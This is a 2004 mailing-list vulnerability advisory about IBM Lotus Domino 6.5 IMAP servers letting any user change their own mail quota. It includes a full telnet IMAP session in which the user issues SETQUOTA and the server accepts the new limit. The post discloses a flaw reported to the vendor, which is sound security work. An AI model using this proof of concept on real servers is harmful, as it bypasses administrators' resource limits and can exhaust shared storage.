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Unprevileged user can change quota on Domino

From: Andreas Klein (Andreas.C.Kleinphysik.uni-wuerzburg.de)
Date: Wed Jun 30 2004 - 15:09:57 CDT


this problem has been reported to IBM Lotus customer support on
January 19,2004.

Affected versions:
Domino 6.5.0/6.5.1 (other versionns not tested by me)

Every user can change his quota on an imap-enabled Domino server to every
value he likes.

Detailed description:
If your mailfile is imap-enabled and you have access to an imap-enabled
Domino-server you can change your quota to arbitrary values.
To do this make a telnet conntection to the imap-server and use the
setquota command to change the quota. If the server only accepts imaps
connections you can use stunnel or openssl s_client.
Here is an example for an unencrypted session:
# telnet imap 143
        Trying ip-address
        Connected to imap.
        Escape character is '^]'.
        * OK Domino IMAP4 Server Release 6.5 ready Mon, 19 Jan 2004 01:40:03 +0100
1 capability
        1 OK CAPABILITY completed
2 login user password
        2 OK LOGIN completed
3 getquota
        * QUOTA "" (STORAGE 45548 10240)
        3 OK GETQUOTA completed
4 setquota "" (storage 50000)
        * QUOTA "" (STORAGE 45548 50000)
        4 OK SETQUOTA completed
5 getquota
        * QUOTA "" (STORAGE 45548 50000)
        5 OK GETQUOTA completed
6 logout

No solution is provided by IBM by now. You can watch the proceeding by
watching for SPR# SEGN5VEFHE. This will not be fixed in the R6 codestream.
R7 will probably contain the fix.